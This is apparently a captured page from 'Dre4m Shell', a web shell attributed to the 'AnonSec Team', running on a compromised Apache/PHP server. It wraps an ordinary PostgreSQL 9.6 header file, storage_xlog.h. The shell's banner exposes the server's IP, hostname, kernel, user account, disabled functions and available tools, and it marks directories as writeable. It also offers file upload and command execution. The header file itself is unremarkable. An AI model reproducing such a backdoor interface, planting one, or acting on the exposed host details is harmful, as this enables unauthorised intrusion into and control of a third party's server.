Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.135.185.207
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/include/postgresql/9.6/server/catalog/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/include/postgresql/9.6/server/catalog/storage_xlog.h
/*-------------------------------------------------------------------------
 *
 * storage_xlog.h
 *	  prototypes for XLog support for backend/catalog/storage.c
 *
 *
 * Portions Copyright (c) 1996-2016, PostgreSQL Global Development Group
 * Portions Copyright (c) 1994, Regents of the University of California
 *
 * src/include/catalog/storage_xlog.h
 *
 *-------------------------------------------------------------------------
 */
#ifndef STORAGE_XLOG_H
#define STORAGE_XLOG_H

#include "access/xlogreader.h"
#include "lib/stringinfo.h"
#include "storage/block.h"
#include "storage/relfilenode.h"

/*
 * Declarations for smgr-related XLOG records
 *
 * Note: we log file creation and truncation here, but logging of deletion
 * actions is handled by xact.c, because it is part of transaction commit.
 */

/* XLOG gives us high 4 bits */
#define XLOG_SMGR_CREATE	0x10
#define XLOG_SMGR_TRUNCATE	0x20

typedef struct xl_smgr_create
{
	RelFileNode rnode;
	ForkNumber	forkNum;
} xl_smgr_create;

/* flags for xl_smgr_truncate */
#define SMGR_TRUNCATE_HEAP		0x0001
#define SMGR_TRUNCATE_VM		0x0002
#define SMGR_TRUNCATE_FSM		0x0004
#define SMGR_TRUNCATE_ALL		\
	(SMGR_TRUNCATE_HEAP|SMGR_TRUNCATE_VM|SMGR_TRUNCATE_FSM)

typedef struct xl_smgr_truncate
{
	BlockNumber blkno;
	RelFileNode rnode;
	int			flags;
} xl_smgr_truncate;

extern void log_smgrcreate(RelFileNode *rnode, ForkNumber forkNum);

extern void smgr_redo(XLogReaderState *record);
extern void smgr_desc(StringInfo buf, XLogReaderState *record);
extern const char *smgr_identify(uint8 info);

#endif   /* STORAGE_XLOG_H */

Anon7 - 2022
AnonSec Team